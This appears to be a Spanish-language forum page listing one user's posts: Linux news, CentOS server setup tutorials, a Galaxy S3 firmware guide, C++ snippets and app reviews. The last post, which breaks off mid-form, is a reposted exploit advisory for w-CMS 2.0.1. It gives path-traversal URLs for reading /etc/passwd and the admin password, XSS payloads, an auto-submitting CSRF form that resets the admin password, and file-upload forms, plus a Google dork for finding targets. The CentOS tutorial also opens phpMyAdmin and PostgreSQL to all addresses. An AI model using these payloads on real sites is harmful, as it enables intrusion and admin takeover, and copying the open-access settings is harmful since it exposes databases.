Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Kodeinfect

#81
Los desarrolladores de Canonical están debatiendo sobre un cambio realmente crucial en el ciclo de desarrollo de la distribución, que desde su creación ha respetado ese ritmo de una nueva versión cada seis meses. Los usuarios de Ubuntu nos hemos acostumbrado a ese ritmo, pero eso no significa que exista una alternativa igualmente interesante: convertir a Ubuntu en una distro 'rolling release'.

El mejor ejemplo de distribución rolling release es probablemente Arch Linux, que se ha convertido en un modelo de la eficiencia de esta filosofía en la que no hay ciclos predeterminados de lanzamiento de nuevas versiones: nuestra distribución siempre está a la última porque se van instalando los componentes que se consideran preparados para producción de forma automática.

En realidad este comportamiento es similar al de las versiones de Windows, que durante años han funcionado con el mecanismo de las actualizaciones automáticas y que solo se veían radicalmente afectadas en los casos en los que aparecían Service Packs, que no son más que conjuntos de actualizaciones. Las ventajas de un modelo rolling release son evidentes, y por ejemplo no tendríamos que esperar a la siguiente versión de Ubuntu para disfrutar de las mejoras de los nuevos kernels.

Es lo que están debatiendo los desarrolladores de Ubuntu, como confirmó en una Google Hangout una desarrolladora de Canonical, que indicaba que esa posible migración a una filosofía Rolling Release a partir de Ubuntu 14.04, que sería la última versión de Ubuntu que respetaría el ciclo clásico de 6 meses de desarrollo.

La desventaja, como comentan en Ars Technica, es el hecho de que en cierta medida las rolling releases suelen ser distribuciones menos estables que las distribuciones con ciclos fijos de actualización, sobre todo por el hecho de que las distribuciones como Ubuntu tienen la oportunidad de tener varias versiones preliminares y bastante tiempo para detectar problemas (la mayoría, al menos) y solucionarlos antes de lanzar las versiones finales.

Podéis ver el vídeo de esta Google Hangout y saltar al minuto 42 para escuchar esos comentarios sobre la posible migración a un modelo rolling release.

#82
GNU/Linux / Instalando Servicios - Servidor CentOS
Enero 20, 2013, 04:06:54 PM
Siguiendo con el tutorial anterior se mostrará como instalar servicios.
En esta ocasión instalaremos:

· Servidor Apache
· Servidor MySQL
· PHP + Librerias
· phyAdmin
· Postgresql




# Servidor Apache #
Primero instalamos:
Código: php
yum install httpd


Iniciamos el servicio:
Código: php
service httpd start


Configuramos para que inicie con el sistema:
Código: php
chkconfig –level 345 httpd on


Configuramos en el firewall el puerto 80 que usa el servicio:
Código: php
nano /etc/sysconfig/iptables
-A INPUT -m state –state NEW -m tcp -p tcp –dport 80 -j ACCEPT


Reiniciamos el servicio:
Código: php
restart service iptables


Ahora podemos acceder desde cualquier navegador ingresando a:
Código: php
http://nuestroservercentOS





# Servidor MySQL #
Instalamos:
Código: php
yum install mysql mysql-server


Iniciamos el servicio:
Código: php
service mysqld start


Para la configuración usaremos un script del sistema que nos facilita la tarea:
Código: php
mysql_secure_installation

Si nos pide password, ingresamos sin ella. Luego configuraremos nuestra propia contraseña.

Solo quedaría añadir el servicio a la ejecución del sistema con:
Código: php
chkconfig –level 2345 mysqld on





# PHP + Librerías #
Instalamos lo siguiente (PHP + Librerías):
Código: php
yum install php php-mysql php-pdo php-gd php-soap php-xmlrpc php-xml php-cli php-mbstring php-pear mod_ssl


Listo esto, reiniciamos nuestro servidor apache:
Código: php
service httpd restart

Con esto tendríamos listas las librerías y el php listo para instalar phpMyAdmin.




# phpMyAdmin #
Instalamos:
Código: php
yum install phpmyadmin


Necesitaremos la librería mcrypt (activamos repositorio EPEL) la cual instalamos con:
Código: php
yum –enablerepo=epel install php-mcrypt -y 


Luego editaremos dos ficheros, el primero para dar acceso a todos.
Código: php
nano /etc/httpd/conf.d/phpmyadmin.conf


Cambiamos la linea "Deny from all" por un "Allow from all"
Código: php
<directory "="" usr="" share="" phpmyadmin"="">
Order Deny,Allow
Deny from all
Allow from 127.0.0.1


El segundo fichero añadimos un valor a la variable "cfg['blowfish_secret']"
Código: php
nano /usr/share/phpmyadmin/config.inc.php


Colocamos lo que queramos:
Código: php
$cfg['blowfish_secret'] = 'ejemplounderc0de'; /* YOU MUST FILL IN THIS FOR COOKIE AUTH! */


Con esto disfrutaremos de phpMyAdmin desde:
Código: php
http://servidorcentOS/phpmyadmin





# PostgreSQL #
Instalamos:
Código: php
yum -y installpostgresql postgresql-server php-pgsql


Una ves instalado cambiaremos las contraseñas default con:
Código: php
passwd postgres


Iniciamos el servicio:
Código: php
service postgresql initdb


Cambiamos el usuario:
Código: php
su postgres  [contraseña seleccionada en el paso anterior]


Ejecutamos en la consola:
Código: php
psql


Ejecutamos el comando que cambiará la contraseña:
Código: php
ALTER ROLE postgres WITH PASSWORD "contraseñaquequieras";


Salimos con:
Código: php
\q


Tecleamos:
Código: php
exit


Reiniciamos el servicio:
Código: php
service httpd restart


Configuramos en el firewall el puerto 5432 que usa el servicio:
Código: php
nano /etc/sysconfig/iptables
-A INPUT -m state –state NEW -m tcp -p tcp –dport 5432 -j ACCEPT


Reiniciamos el firewall:
Código: php
restart service iptables


Ahora configuramos el PSQL para conexiones remotas desde cualquier IP:
Código: php
nano /var/lib/pgsql/data/postgresql.conf


Descomentamos la linea para que quede:
Código: php
listen_addresses = '*'          # what IP address(es) to listen on;


Damos permisos a los usuarios con:
Código: php
nano /var/lib/pgsql/data/pg_hba.conf


Añadiendo la linea:
Código: php
host    all         all         0.0.0.0 0.0.0.0


Podemos colocarle MD5 a la linea para hacerlo mas seguro, esto es opcional.
Código: php
host    all         all         0.0.0.0 0.0.0.0  md5


Solo quedaría añadirlo al inicio del sistema con:
Código: php
chkconfig postgresql on


Con esto estaría instalado ya PSQL en nuestro sistema, para administrarlo podemos instalar:
Código: php
yum installpgadmin3


Eso sería todo ;) ya tenemos todo listo para seguir con nuestro servidor.
Saludos ~
#83
El Comunicado De Samsung:
Por lo visto, Samsung sí que está al corriente del problema de las muertes súbitas de los Galaxy S3. De hecho, a principios de este mes, Samsung Benelux se puso en contacto para comunicar que está trabajando duramente para solucionar dicho problema. Pero desde entonces ninguna noticia hasta que hace poco Samsung lanzó una nueva actualización (XXELLA).

Una actualización que soluciona el problema:
Según un usuario de XDA, @AndreiLux se ha confirmado que los teléfonos susceptibles de tener muerte súbita (SDS) son los que tienen Chip eMMC tipo VTU00M revisión 0xF1 y que en el nuevo kernel de la actualización XXELLA (y el kernel Perseus del autor) se soluciona. Por lo visto, un error del firmware provoca la muerte de la placa del teléfono.

¿Como saber si somos vulnerables a "La Muerte Subita"?
Descargamos eMMC Check -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Si nuestro chip es del tipo eMMC tipo VTU00M revisión 0xF1, somos vulnerables a la llamada "muerte subita" ¿que tenemos que hacer?, pues bueno..

Actualizar nuestro dispositivo a: Jelly Bean 4.1.2
Descargamos la No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y el programa No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, no hace falta ser root ni nada para hacer lo que vamos a hacer a continuación. Conectamos el SGS3 en modo descarga y al ordenador. Para ello basta con pulsar Bajar Volumen + Botón central y simultáneamente presionar Power.

Acá un vídeo de muestra sobre como entrar en modo Descarga:


Abre el programa Odín:


Una vez que tu Galaxy S3 se encuentra en modo Descarga, conecta el dispositivo al ordenador mediante el cable USB original. Allí verás que la sección ID : COM del se ilumina. Si no se ilumina, bájate los drivers del teléfono con el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y vuelve a probarlo.

Luego, en PDA selecciona el firmware XXELLA que has descargado en el paso 1 y haz clic en "Start" para iniciar el proceso de actualización. La casilla Re-Partition NO debe estar seleccionada.

Una vez acabe el proceso, apaga el dispositivo y reinícialo en  Modo Recovery. Para ello debes presionar la tecla Volumen arriba + botón Home, y mientras mantienes ambas, presionar simultáneamente el botón de encendido.

En modo Recovery, selecciona Wipe data/factory reset y Wipe Cache partition y luego reinicia el móvil seleccionando Reboot system now con la ayuda de las teclas de volumen para desplazarte.

Ya hemos acabado la primera parte y tenemos la última actualización Android 4.1.2 Jelly Bean en nuestro Samsung Galaxy S3

Ahora debemos Flashear el Kernel:
Descargarmos el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Repetimos todos los pasos anteriores, con el cambio de que en lugar de seleccionar el archivo de la actualización en el botón PDA, ahora seleccionamos el archivo Perseus-alpha31.2-i9300.tar

Una vez se instale tan solo hemos de reiniciar el teléfono.

Con esto tendríamos nuestro teléfono protegido frente a la muerte súbita. Lo más indignante de todo, es que esto es una solución chapucera de un excelente miembro de XDA. Samsung aún no se ha dignado en ofrecer una buena solución para todos sus usuarios. Gracias a HTCManía por la info y a Androidzone por el tutorial para flashear el firmware.
#84
GNU/Linux / Tutorial - Instalar Servidor CentOS
Enero 19, 2013, 12:58:30 PM


Necesitaremos:
Imagen CentOS 6.3 - Versión Minimal




# INSTALACIÓN #

Al arrancar seguimos los pasos de instalación y configuramos:

· Idioma , teclado, zona horaria.
· Contraseña de administrador
· Particionado del disco duro (Instalar en todo el Disco)

# SELECCIONANDO RED #

Una ves instalado, se reiniciará y nos logueamos como root.
Procedemos a levantar nuestra interfaz de RED:
Código: php
vi /etc/sysconfig/network-scripts/ifcfg-eth0


Modificaremos la linea:
Código: php
ONBOOT="no"


Colocamos la red al inicio con:
Código: php
ONBOOT="yes"


Guardamos y salimos del editor, una ves con esto procedemos a reiniciar nuestra red:
Código: php
service network restart


Hacemos un "ifconfig -a" y veremos nuestra red activa.
Ahora podemos proceder a instalar programas que nos serán útiles (por eso usamos la versión minimal, para no tener "basura")
Código: php
yum install nano wget gd curl zlib lbzip2


# REPOSITORIOS #

Activamos repositorios que nos serán utiles:
Código: php
nano /etc/yum.repos.d/CentOS-Base.repo


Cambiando la linea:
Código: php
enable=0

Por:
Código: php
enable=1


Ahora vamos con los repositorios RPMForge que son de los más importantes mantenidos por la comunidad.
Código: php
wget http://packages.sw.be/rpmforge-release/rpmforge-release-0.5.2-2.el6.rf.i686.rpm

rpm -Uvh rpmforge-release-0.5.2-2.el6.rf.i686.rpm


Lo mismo con los repositorios EPEL que nos harán falta posteriormente para solventar un problema con una librería necesaria en pypmyadmin llamada php-mcrypt.

Código: php
wget http://ftp.riken.jp/Linux/fedora/epel/RPM-GPG-KEY-EPEL-6

rpm –import RPM-GPG-KEY-EPEL-6
rm -f RPM-GPG-KEY-EPEL-6

wget http://dl.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm


Si la última linea de error miramos a ver si es que hay otra versión.

Código: php
rpm -ivh epel-release-6-8.noarch.rpm
rm epel-release-6-8.noarch.rpm


Luego de tener instalado todo esto, procedemos con actualizar nuestro equipo..
Para esto hacemos uso del comando:
Código: php
yum update


# INSTALAMOS WEBMIN #

Webmin es un sistema que nos permitida administrador todos los parámetros de nuestro servidor de forma remota vía web y que nos facilitara muchísimo la vida y simplificará el trabajo a la hora de dar parámetros y controlarlo.

Para instalarlo, damos el repositorio:
Código: php
nano /etc/yum.repos.d/webmin.repo


Colocamos las siguientes lineas:
Código: php
[webmin]
name=Webmin Distribution Neutral
#baseurl=http://download.webmin.com/download/yum
mirrorlist=http://download.webmin.com/download/yum/mirrorlist
enabled=1


Importamos las GPG KEY:
Código: php
wget http://www.webmin.com/jcameron-key.asc 
rpm –import jcameron-key.asc
yum install webmin


Abrimos desde el firewall del sistema el puerto 10000 que utiliza el servicio.
Para hacerlo modificaremos el archivo de configuración de IPTABLES:
Código: php
nano /etc/sysconfig/iptables


Añadimos la linea para el puerto:
Código: php
-A INPUT -m state –state NEW -m tcp -p tcp –dport 10000 -j ACCEPT


Reiniciamos el IPTABLES:
Código: php
restart service iptables


Para demostrar que funciona ingresamos a:
Código: php
http://direccionip:100000


Podemos acceder a WEBMIN para configurar nuestros datos ;)
Una ves dentro, nos vamos a "Webmin-Change Language and Theme" para configurar nuestro idioma y apariencia.
Podemos también añadir una IP Fija si la necesitamos.

Con esto estaría listo nuestro servidor, solo quedaría instalarle los servicios como por ejemplo:
Apache, MySQL, Postgresql, PHP, phpMyAdmin entre otros..

Un Saludo ~ Kodeinfect  ;D
#85
GNU/Linux / GRIVE - Cliente Google Drive Para Linux
Enero 19, 2013, 11:19:47 AM

Desde su No tienes permitido ver los links. Registrarse o Entrar a mi cuenta podemos ver el nuevo cliente "GRIVER " que está en fase beta, y carece de una de las opciones más importantes de este tipo de clientes: no sincroniza automáticamente los cambios, ya que no monitoriza que se producen. Tenemos que ser nosotros los que una vez modificado un archivo los contenidos de una carpeta ejecutemos Grive de nuevo para que los cambios se sincronicen con Google Drive.

Tampoco hay soporte para enlaces simbólicos o para documentos de Google, pero es algo en lo que el desarrollador está trabajando en versiones futuras.  Podéis descargar el código fuente y compilarlo, aunque hay otras opciones para instalarlo.

Desde UBUNTU solo tendremos que agregar los siguientes PPA:
Código: php
sudo add-apt-repository ppa:nilarimogard/webupd8
sudo apt-get update
sudo apt-get install grive


Los usuarios de Arch pueden instalar Grive desde No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y si queremos bajar el paquete podemos ir directamente a la pagina oficial: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#86
GNU/Linux / [DIFERENCIAS] GNU / Linux / GNU-Linux
Enero 17, 2013, 12:31:12 PM
GNU

GNU es un sistema operativo similar a Unix, es SOFTWARE LIBRE y respeta la libertad del usuario.
Existen versiones de GNU basadas en el Núcleo Linux que son completamente SOFTWARE LIBRE.
El Proyecto GNU se inicio en 1984 para desarrollar un sistema GNU.

GNU es un acrónimo recursivo de <<GNU No es Unix>> en ingles <<ñu>> en español, se pronuncia fonéticamente como una silaba sin vocal entre la g y la n.

Los sistemas operativos similares a Unix se construyen a partir de un conjunto de aplicaciones, bibliotecas y
herramientas de programación, ademas de un programa para alojar recursos e interactuar con el hardware,
denominado nucleo <<kernel>> en ingles.

Su pagina oficial es:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




LINUX

Linux es un núcleo libre de sistema operativo basado en Unix.3 Es uno de los principales ejemplos de software libre. Linux está licenciado bajo la GPL v2 y está desarrollado por colaboradores de todo el mundo. El desarrollo del día a día tiene lugar en la Linux Kernel Mailing List Archive

El núcleo Linux fue concebido por el entonces estudiante de ciencias de la computación finlandes, Linus Torvalds, en 1991. Linux consiguió rápidamente desarrolladores y usuarios que adoptaron códigos de otros proyectos de software libre para su uso en nuevas distribuciones. El núcleo Linux ha recibido contribuciones de miles de programadores de todo el mundo. Normalmente Linux se utiliza junto a un empaquetado de software, llamado distribución Linux y servidores.

Mas información:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




+ GNU/LINUX

Muchos usuarios de computadoras ejecutan una versión modificada del sistema GNU cada día, sin saberlo.
Debido a un particular giro en los acontecimientos, la versión de GNU que es ampliamente utilizada hoy en día se llama habitualmente "Linux",
y mucho de sus usuarios no se dan cuenta que básicamente es el sistema GNU, desarrollado por el proyecto GNU.

Efectivamente hay un Linux, y esta gente lo está utilizando, pero es sólo una parte del sistema que utilizan.
Linux es el núcleo: el programa en el sistema que asigna los recursos de la máquina a los otros programas que ejecuta.
El núcleo es una parte esencial de un sistema operativo, pero inútil por sí mismo, sólo puede funcionar en el contexto de un sistema operativo completo, se usa normalmente en combinación con el sistema operativo GNU: el sistema completo es básicamente GNU con Linux, o GNU/Linux.
Todas las distribuciones denominadas "Linux" son realmente distribuciones de GNU/Linux.

Los programadores generalmente saben que Linux es un núcleo. Pero como han oído llamar habitualmente a todo el sistema "Linux",
con frecuencia se imaginan una historia que justifique que todo el sistema se completó después del núcleo, por ejemplo, muchos creen que una vez que Linus Torvalds terminó de escribir Linux, el núcleo, sus usuarios buscaron más software libre para adosarle y encontraron (sin ninguna razón en particular) que casi todo lo necesario para hacer un sistema operativo tipo Unix ya estaba disponible.

Mas información:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#87

La principal novedad para los usuarios finales es el nuevo instalador de la distro, Anaconda, que ha sufrido cambios importantes en su acabado visual y también en su funcionamiento interno. Los problemas con este componente ha sido el principal motivo del retraso de la disponibilidad de Fedora 18, y de hecho ha habido características que estaban planificadas pero que no están disponibles, como la posibilidad de añadir otros repositorios de paquetes durante la instalación.

Otro de los cambios más relevantes es el soporte de UEFI Secure Boot, el mecanismo que Microsoft ha impulsado entre los fabricantes de PCs y portátiles con Windows 8. Para lograr ese soporte se han utilizado bootloaders que están firmados con certificados de Microsoft y que permiten que un PC con Windows 8 pueda arrancar y funcionar con Fedora 18 sin problemas. Como revelan en The H Open, donde encontraréis un extenso artículo sobre las novedades de Fedora 18, la solución de Fedora es más elegante que la de Canonical u otras desarrolladoras de distros, porque Canonical solo aplica la firma con el certificado digital al bootloader, pero Fedora también firma el kernel, algo que aumenta la seguridad.

Otras novedades son la presencia de GNOME 3.6 -el entorno preferido por Fedora-, pero también podemos instalar de forma opcional KDE SC 4.9, Xfce 4.10, Cinnamon 1.6 y MATE 1.4. Hay muchas más mejoras, por supuesto, como Samba 4 -soporte total para el Directorio Activo-, el uso de firewalld, o el foco en las plataformas Cloud Computing de código abierto, ya que se incluyen tanto Eucalyptus 3.2 como OpenStack 'Folsom'.

Para mas información: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Link De Descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#88
Buenaas, ayer luego de actualizar la ROM de mi dispositivo esta mañana al levantarme me dí cuenta que no tenía datos en el móvil y pensé ¡Ohh claro, olvidé configurar de nuevo las APN! cuando voy a configurarlas: Ajustes > Conexiones Inalámbricas > Redes Móviles > APN me doy cuenta de que ¡TARÁN! no existe el acceso a las APN y pensé ahora que carajos pasó..


Investigando por San Google, leo en varios foros que es común este problema de las APN y los Datos con versiones de CyanogenMod, buscando y buscando hay muchos temas pero ninguno con respuesta así que decidí revisar con el Root Explorer todo el telefono hasta encontrar donde se guardarían las configuraciones de las APN en el móvil.

Decidí buscar y en /system/etc pude ver un archivo llamado: apns-conf.xml dije ¡Bingo! lo encontré al abrirlo me topo con un código y al final se lee la configuración de los APN, tenía unos APN de otros países con proxys y datos que no sabía de donde venían..

Luego configuré dicho archivo con las configuraciones que me correspondían:



Con esto solo le tocaría a ustedes buscar las APN correspondientes a su proveedor/país y todo estará listo ;) un saludo compañeros - Kode!
#89
La interfaz de usuario Unity lleva tiempo recibiendo críticas por su limitada capacidad de personalización, algo que han tratado de remediar desarrolladores externos con utilidades de configuración que trataban de facilitar el acceso a algunos apartados de configuración de Unity.



Uno de esos esfuerzos es el que han realizado los desarrolladores de Ubuntu-Tweak-Tool (antes conocido como Mechanig), que han anunciado la disponibilidad de una versión pública muy avanzada en prestaciones y estabilidad, aunque avisan de que aún queda cierto tiempo para la versión final.

Para instalar esta herramienta tendremos que teclear los siguientes comandos en la terminal:

Código: php
sudo add-apt-repository ppa:freyja-dev/unity-tweak-tool-daily
sudo apt-get update
sudo apt-get install unity-tweak-tool


Como revelan en Ostatic, la utilidad se parece a Ubuntu Tweak, y a la configuración de sistema de KDE, y dispone de apartados de configuración para Unity, los aspectos generales de apariencia y los parámetros de sistema.
#90
GNU/Linux / [ESQUEMA] Sistema De Archivos Linux
Enero 12, 2013, 08:33:28 PM
Bueno, por acá les comparto este mapa sobre como funciona el sistema de archivos en un sistema linux.
Ideal para los que recién se inician en este mundo, espero lo disfruten.



#91
GNU/Linux / Santoku Linux
Enero 07, 2013, 10:39:48 AM


Santoku es una distribución Linux basada en OWASP's MobiSec especializada en pruebas de seguridad, análisis de malware y análisis forenses para teléfonos móviles, válida para dispositivos con Android, BlackBerry, iOS y Windows Phone. La versión Santoku Community Edition es un proyecto colaborativo para proveer un entorno Linux preconfigurado con utilidades, drivers y guías para este campo.

Herramientas de Desarrollo:
Android SDK Manager
Apple Xcode IDE
BlackBerry JDE
BlackBerry Tablet OS SDK
BlackBerry WebWorks
DroidBox
Eclipse IDE
Windows Phone SDK
Android 2.3.3, 3.2, and 4.0.3 Emulators
SecurityCompass Lab Server (HTTP and HTTPS)
BlackBerry Ripple
BlackBerry Simulators

Penetration Testing:
CeWL
DirBuster
Fierce
Nikto
nmap
Burp Suite
Mallory
w3af Console
w3af GUI
ZAP
BeEF
Ettercap
iSniff
Metasploit Console
Metasploit GUI
NetSed
SET
SQLMap
SSLStrip

Ingeniería Inversa:
APK Tool
Dex2Jar
Flawfinder
Java Decompiler
Strace

Analizadores Wireless:
Aircrack-ng
Kismet
Ubertooth Kismet
Ubertooth Spectrum Analyzer
Wireshark

Forense de Dispositivos:
AFLogical Open Source Edition
Android Encryption Brute Force
BitPim
BlackBerry Desktop Manager
Foremost
iPhone Backup Analyzer
MIAT
Paraben Device Seizure
Sift Workstation
Sleuth Kit
SQLiteSpy

Infraestructura móvil:
BES Express
Google Mobile Management
iPhone Configuration Tool

Web Oficial: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Web Descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#92
C++ es un lenguaje que evoluciona pero lentamente. Esto es debido a que existen muchos compilares y crear un nuevo estándar es complicado. El nuevo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta incluye varias adiciones al núcleo del lenguaje y extiende la biblioteca estándar de C++.

Para compilar en C++11 en G++ sólo tienes que añadir el siguiente flag:
Código: php
g++ fuente.cpp -std=c++0x


Si dispones de la versión 4.7 o superior de GNU G++ también puedes hacerlo de la siguiente manera:
Código: php
g++ fuente.cpp -std=c++11


Para conocer la versión de GNU G++ ejecuta el siguiente comando:
Código: php
g++ -v
#93
C / C++ / [C++] Entero a Cadena
Enero 07, 2013, 10:15:34 AM
Siempre es útil y aveces necesitamos pasar un número a una cadena, string.
Acá está el pequeño código que lo hace

Código: cpp
#include <iostream>
#include <string>
#include <sstream>

int main(int argc, char *argv[])
{
  int entero = 10;
  std::string cadena = "";

  cadena = static_cast<std::ostringstream*>(&(std::ostringstream() << entero))->str();

  std::cout << "Esto es una cadena: " + cadena + "." << std::endl;

  return 0;
}


Podemos hacerlo mas sencillo si compilamos en C++11

Código: cpp
#include <iostream>
#include <string>

int main(int argc, char *argv[])
{
  int entero = 10;
  std::string cadena = "";

  cadena = std::to_string(entero); // C++11

  std::cout << "Esto es una cadena: " + cadena + "." << std::endl;

  return 0;
}
#94
MAC OSX / Disponible FreeBSD 9.1
Enero 07, 2013, 10:11:10 AM


El equipo de FreeBSD ha anunciado la disponibilidad de FreeBSD 9.1. Ésta es la segunda versión de la rama 9, lo que mejora en estabilidad y presenta características nuevas. Algunos de los aspectos más destacados son:

· Nuevo Intel GPU driver con soporte GEM/KMS.
· Nuevo Netmap(4) fast userspace packet I/O framework.
· Mejora en ZFS.
· CAM Target Layer.
· Nueva pila opcional en C++11 incluyendo LLVM libc++ y libcxxrt.
· Numerosas mejoras para el protocolo IPv6.

Pagina Oficial - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#95
WAZE



Esta aplicación se podría definir como una mini red social de conductores. Se trata de una aplicación GPS gratuita con navegación en tiempo real. Puedes compartir información en tiempo real con otros conductores de tu zona, para evitar atascos o calles congestionadas, por ejemplo (con el ahorro de dinero que ello supone).

Entre sus características, cabe destacar:


  • Compartir rutas con otros conductores, para encontrar la ruta más eficiente en tiempo/coste de gasolina posible, basado en la experiencia.
    Recibir alertas sobre controles policiales, accidentes, atascos, obras, etc.
    Mapas editados por la comunidad, por lo que se tratan de los mapas que se actualizan más rápidamente en el mercado.
    Posibilidad de sincronizar con tus amigos el tiempo de llegada a un destino común.
    Comparativa del precio de la gasolina en todas las gasolineras de tu ruta.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




SpotBros



Esta aplicación española se podría resumir como un Whatsapp. Sin embargo es algo mas que eso. Se trata de un servicio de mensajería gratuito orientado a un mundo mas abierto, donde no solo se busca hablar con tus conocidos, sino con una comunidad muy amplia.

Las conversaciones se realizan a través de dos nuevas funcionalidades: el 'shout' y el 'spot'. Un 'shout' es un mensaje que puedes enviar a otros usuarios en un radio de 1,5 km para pedir y dar información, solicitar ayuda, avisar sobre algo, etc. Algo asi como un foro de usuarios cercanos.

Y el 'spot' es un grupo público geolocalizado sin límite de miembros, entrado en un tema en particular y en el que los usuarios se unen para compartir información sobre lo que les interesa. Hay 'spots' de todo tipo: deportes, series,  cine, etc...

Es una aplicación que tiene un gran potencial.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Minube



Esta aplicación es una comunidad de viajeros para amantes de los viajes que permite a los usuarios inspirarse para decidir sus destinos, planificar sus viajes y compartirlos todas las experiencias de sus viajes. Su punto fuerte es la abundancia de fotografías de todos los lugares visitados.

Entre sus funcionalidades más destacables se encuentran:


  • Información sobre qué ver, dónde comer y dónde hospedarse, en un sitio concreto, o por búsqueda cercana.
    Permite ver y comentar los lugares recomendados por otros viajeros.
    Permite subir tus Rincones, todos aquellos lugares que has visitado y deseas compartir tu experiencia con los demás.
    Sistema de premios o logros (muy al estilo Xbox o PS3), que abarcan desde compartir X rincones hasta visitar tantos paises diferentes.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Line



Quizás sea la aplicación más conocida de la lista, puesto que en temas de publicidad y marketing lo están haciendo muy bien, llegando rápidamente a oídos de todos. Se trata del mayor competidor de Whatsapp. Es un servicio de mensajería instantánea que tiene todas las características que encumbraron a Whatsapp, pero que además le añade otras muy interesantes:


  • Posibilidad de realizar llamadas de voz las 24 horas del día sin coste alguno.
    Mayor seguridad que Whatsapp.
    Nos pregunta antes si queremos aceptar una conversación desde un número desconocido.
    Stickers, o emoticonos de diseños risueños y divertidos.
    LineCard y LineBirzzle, para crear postales y puzzles divertidos.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Snapseed



Se trata de una aplicación de fotografía, al estilo Instagram. Fue nombrada Mejor aplicación de fotografía para móviles en 2012 (TIPA) y la Aplicación para iPad del año 2011, y sin embargo no es muy conocida por el público en general. Lo mejor de esta aplicación es su facilidad para interactuar con las fotografías, el menú, la forma de ampliar, recortar, etc.

Entre sus características se encuentran:


  • Ajuste las fotos fácilmente con un solo toque mediante la función Autocorrección.
    Retoque de las fotos para que queden perfectas con la función Ajustar imagen
    Ajuste selectivo para realzar objetos o áreas específicos en sus fotos
    Filtros divertidos e innovadores, como Drama, Vintage, Grunge y Tilt-Shift
    Adicción de  Bordes de imágenes para dar un toque final
    Compartir creaciones a través de Google+, el correo electrónico y cualquier otro servicio instalado.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#96
Código: php
+----------------------------------------------------------------------+
|            ____  _            _           _____ _____                |
|           |  _ \| |          | |         |_   _|  __ \               |
|           | |_) | | __ _  ___| | __  _____ | | | |  | |              |
|           |  _ <| |/ _` |/ __| |/ / |_____|| | | |  | |              |
|           | |_) | | (_| | (__|   <        _| |_| |__| |              |
|           |____/|_|\__,_|\___|_|\_\      |_____|_____/               |
|                                                                      |
|/********************************************************************\|
|                                                                      |
|  [x] Exploit Title: w-CMS 2.0.1 Multiple Vulnerabilities             |
|  [x] Google Dork: intext:"Powered by w-CMS"                          |
|  [x] Version    : 2.0.1                                              |
|  [x] WebSite    : http://w-cms.org/                                  |
|  [x] Software Link: http://wcms.googlecode.com/files/wcms-2.01.zip   |
|  [x] Author: Black-ID                                                |
|  [x] Tested on: Win Xp/7 Linux Uubuntu 10.04                         |
|  [x] Platform: Php                                                   |
|  [x] Risk      : High                                                |
+----------------------------------------------------------------------+
PoC/Exploit:
 
1.# Local File Disclosure [LFD]

~ [PoC]Http://[victim]/path/?p=../../../../../../boot.ini
~ [PoC]Http://[victim]/path/index.php?p=../../../../../../boot.ini
~ [PoC]Http://[victim]/path/?p=../../../../../../etc/passwd
~ [PoC]Http://[victim]/path/index.php?p=../../../../../../etc/passwd
# Admin Pass Disclosure
~ [PoC]Http://[victim]/path/index.php?p=../../password

+----------------------------------------------------------------------+

2.# Local File Edit/Write
~ [PoC]Http://[victim]/admin.php?edit=../../../dz0.php

Just Fill The Text Area With Evil Code (Php) & Click Save

+----------------------------------------------------------------------+

3.# Cross Site Scripting (XSS)

~ [PoC]Http://[victim]/path/?p=<script>alert('Dz0')</script>
~ [PoC]Http://[victim]/path/index.php?p=<script>alert('Dz0')</script>

+----------------------------------------------------------------------+

4.# Html Code Injection
~ [PoC]Http://[victim]/path/(Guestbook Path)Or(Contact Path)
You Can Inject Html Code In The text Area
Exapmle : <H3>Own3d</H3>
++ You Can Inject Xss Too
Exapmle : <script>alert('Dz0')</script>

+----------------------------------------------------------------------+

5.# Cross Site Request Forgny (CSRF) Admin Change Pass


~ [PoC] Inject This Evil Code In Contact Form

<html>
<head>
<title>Test</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<SCRIPT LANGUAGE="JavaScript"><!--
setTimeout('document.test.submit()',0);
//--></SCRIPT>

</head>

<body>
<form name="test" id="form1" method="post" action="http://localhost/wcms-2.01/admin.php?settings=password"><!-- Target Site -->
  <p>
    <input name="password1" type="text" value="dz0" /><!-- New Password -->
    <input name="password2" type="text" value="dz0"/><!-- Confirm Password -->
  </p>
  <p><input type="submit" name="Change" value="Change" />
   </p>
</form>
</body>
</html>


+----------------------------------------------------------------------+

6.# Arbitary File Upload
~ [PoC]Http://[victim]/admin.php

# Add Folder
<form action='Http://[victim]/path/admin.php' method='post'><input type='hidden' name='files' value='folders' /><h2>
    Update Folders</h2><div class='left'>
                  Folder Name</div>
                  <div class='right'>
                  <input name='newfolder' value='' /><br /><input style='width: auto;' class='button' type='submit' value='Add' /></form>


# Upload File

<form class='P10' action='Http://[victim]/admin.php' method='post' enctype='multipart/form-data'>
<input type='hidden' name='files' value='upload' />
<h2>Upload Files</h2>
<p><b>Folder:</b> <select name='folder'><option value='Dz'>Dz</option></p><p>
<div id='settings'>
<div class='left'>
<p>Files</p>

</div>
<div class='right'>
